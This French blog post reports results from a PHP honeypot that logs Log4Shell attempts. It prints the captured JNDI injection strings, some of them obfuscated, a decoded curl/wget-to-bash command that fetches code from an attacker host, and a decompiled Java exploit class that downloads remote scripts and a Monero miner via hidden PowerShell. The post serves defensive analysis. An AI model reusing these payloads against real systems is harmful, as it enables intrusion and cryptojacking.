HoneyPot Log4Shell : Mes premiers résultats ...
Vous avez probablement déjà dû entendre l'annonce des différentes failles de sécurité découvertes autour de la librairie Java Log4J ?
Je ne vais pas revenir sur cette faille majeure qui permet très facilement à un hacker d'injecter du code malveillant dans une application Java. La faille découverte est très critique et remet en question la sécurité de nombreux systèmes d'information utilisant des middlewares Java utilisant la librairie Log4J comme solution de journalisation.
Suite à l'annonce de cette faille, j'ai développé le week-end dernier un HoneyPot (Pot de miel) capable d'intercepter des attaques Log4shell et de les journaliser afin de permettre :
- D'analyser la structure des requêtes HTTP des tentatives d'attaques.
- De mieux comprendre la structure des scripts malveillants provenant de botnets exploitant cette faille.
- De suivre l'évolution de l'exploitation de cette faille sur Internet.
Mon HoneyPot Log4shell en PHP
Pour gagner du temps, j'ai développé un HoneyPot Log4shell en PHP minimaliste capable d'analyser la présence du caractère "dollar" dans tous les champs des requêtes HTTP entrantes sur le serveur. Je le reconnais, cette approche est simpliste, mais très efficace et ce script a comme avantage de détecter toutes les tentatives d'obfuscation.
Configuration du serveur Web
Les attaques de botnets se faisant principalement via des scans de plages d'adresses IP, pour que ce script soit opérationnel, il faut donc qu'il soit déployé dans le vhost par défaut d'un serveur Web et qu'il réponde à toutes les requêtes entrantes sur l'adresse IP publique du serveur https://x.x.x.x
Cela peut se faire sur Nginx au travers de la commande "default_server".
En complément, pour que le script puisse répondre à toutes les requêtes, une instruction "try_files" permet de transmettre au script PHP toutes les requêtes HTTP infructueuses afin de capturer toutes les tentatives d'attaque sur des chemins autres que la racine.
server {
listen 80 default_server;
root /var/www/default/public_html/;
location / {
try_files $uri $uri/ /index.php?$args;
}
}
Mes résultats après plusieurs jours d'écoute
Contre toute attente, j'ai reçu assez peu de tentatives d'intrusions. Au total j'ai recensé 3 adresses IP différentes ayant essayé de s'introduire sur mon serveur au travers de la faille Log4shell.
Cela signifie que l'exploitation de la faille Log4shell n'est pas encore largement exploitée par des botnets sur la toile. Le cas échéant, mon serveur aurait capturé beaucoup plus de tentatives provenant d'adresses IP différentes ...
Le premier attaquant Russe
Je reçois des tentatives d'attaques journalières provenant d'un serveur russe blacklisté sur AbuseIPDb.
Voici les logs obtenus par mon HoneyPot :
195.54.160.x:HTTP_REFERER:https://163.172.58.13:80/?x=${jndi:ldap://195.54.160.x:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjMuMTcyLjU4LjEzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2My4xNzIuNTguMTM6ODApfGJhc2g=}
195.54.160.x:HTTP_USER_AGENT:${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.x:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjMuMTcyLjU4LjEzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2My4xNzIuNTguMTM6ODApfGJhc2g=}
195.54.160.x:QUERY_STRING:x=${jndi:ldap://195.54.160.x:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjMuMTcyLjU4LjEzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2My4xNzIuNTguMTM6ODApfGJhc2g=}
L'attaquant a utilisé différentes méthodes d'injection avec différents modes d'obfuscation :
- L'utilisation des entêtes Referer, User-Agent.
- L'utilisation d'un argument en query string avec une variable "x" dans l'URL.
Son attaque passe par l'exécution d'un code Java prenant en paramètre un shellcode configurable à la volée.
Lors de chaque attaque, son serveur LDAP retourne une entrée avec un code Java différent à chaque tentative (javaFactory). Cependant, je n'arrive pas à télécharger la classe générée depuis le serveur qu'il expose sur son port 9999 ...
DN: Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjMuMTcyLjU4LjEzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2My4xNzIuNTguMTM6ODApfGJhc2g=
javaClassName: foo
javaCodeBase: https://195.54.160.x:9999/
objectClass: javaNamingReference
javaFactory: ExploitejsLdP24Oo
Il a tenté de faire exécuter des commandes Shell encodées en Base64 sur mon serveur :
(curl -s 195.54.160.x:5874/163.172.58.13:80||wget -q -O- 195.54.160.x:5874/163.172.58.13:80)|bash
Pour multiplier les chances de réussite à son attaque, l'attaquant utilise à la fois la commande "curl" et "wget". Pour mieux identifier ses cibles, il transmet en paramètre d'appel HTTP vers son serveur Web, l'adresse IP et le port du serveur infecté. Cette stratégie est indispensable dès lors que les serveurs attaqués ont des routes de sortie réseau autres que l'adresse IP publique utilisée.
Le serveur de l'attaquant n'injecte aucune commande shell malveillante pour le moment, il est utilisé uniquement pour identifier des cibles vulnérables. Il attaquera probablement dans un second temps dès lors qu'il jugera intéressant d'en extraire du contenu ou d'y injecter une commande shell malveillante.
Je reçois aujourd'hui des attaques quasiment quotidiennement provenant de ce serveur, il est très probable qu'il scanne l'ensemble des plages IPv4 pour se créer un futur botnet de serveurs qu'il exploitera dès qu'il aura décidé de les utiliser ...
La seconde attaque ... Avec un vrai payload !
La seconde attaque reçue est beaucoup plus intéressante. Mon HoneyPot m'a permis de récupérer le Payload malveillant que je me suis empressé de décompiler.
public class Exploit {
static {
try {
String[] stringArray = new String[]{"/bin/bash", "-c", "(wget -qO - https://51.250.x.x/.l/log || curl https://51.250.x.x/.l/log) | sh"};
if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
stringArray = new String[]{"powershell", "-w", "hidden", "-c", "(new-object System.Net.WebClient).DownloadFile('https://150.60.x.x:80/wp-content/themes/twentyseventeen/s.cmd', $env:temp + '/s.cmd');start-process -FilePath 's.cmd' -WorkingDirectory $env:tmp"};
Runtime.getRuntime().exec(stringArray);
stringArray = new String[]{"powershell", "-w", "hidden", "-c", "(new-object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', $env:temp + '/oc.cmd');start-process -FilePath 'oc.cmd' -WorkingDirectory $env:tmp"};
}
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(stringArray);
process.waitFor();
}
catch (Exception exception) {
// empty catch block
}
}
}
Le code Java injecté contient une vraie charge nuisible et fonctionne aussi bien sur des serveurs Linux que Windows.
Les scripts malveillants sont récupérés soit de serveur Wordpress exploité ou tout simplement de Github ...
Les scripts Shell téléchargés au travers de cette attaque sont très travaillés.
Leur script d'attaque supprime l'ensemble des autres attaquants avant de s'installer sur le serveur.
Conclusion
Je pensais voir une grosse augmentation de l'usage de cette faille de sécurité par des Botnets ces derniers jours, cela ne semble pas être le cas aujourd'hui au-delà des 3 adresses IP détectées.
Dans la mesure où les IP des attaquants se font très facilement détecter par des WAF (Web Application Firewall) et que leurs IP se font automatiquement bloquer par des solutions comme AbuseIPDB ou Crowdsec, une solution radicale serait tout simplement de mettre en place un parefeu dynamique capable de bloquer l'ensemble des IP malveillantes détectées.
Crowdsec fournit cette liste d'IP malveillantes gratuitement sur la base des sondes de son réseau que vous pouvez utiliser pour renforcer le filtre d'accès à vos serveurs.
Si tu es passionné comme moi de cybersécurité, n'hésite pas à rejoindre le serveur Discord de ce blog. Un canal #Cybersecurité a été créé et est ouvert à tous et à toutes.
N'hésite pas non plus à aller faire un tour sur la présentation de Shodan ou de Portsentry.